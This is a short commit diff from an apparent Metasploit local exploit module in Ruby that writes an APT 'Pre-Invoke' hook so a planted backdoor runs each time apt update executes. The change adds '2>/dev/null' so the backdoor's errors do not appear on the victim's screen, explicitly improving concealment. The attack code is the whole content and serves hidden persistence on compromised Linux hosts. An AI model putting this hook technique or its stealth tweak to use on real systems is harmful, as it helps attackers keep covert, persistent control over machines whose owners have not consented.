Changed hook payload to redirect errors, to not show up on target screen
parent
299334ae7f
commit
22c3fe35f7
|
@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
backdoor_path << backdoor_name
|
||||
|
||||
print_status("Attempting to write hook:")
|
||||
hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} &\"};"
|
||||
hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"
|
||||
write_file(hook_path, hook_script)
|
||||
|
||||
unless exist? hook_path
|
||||
|
|
Loading…
Reference in New Issue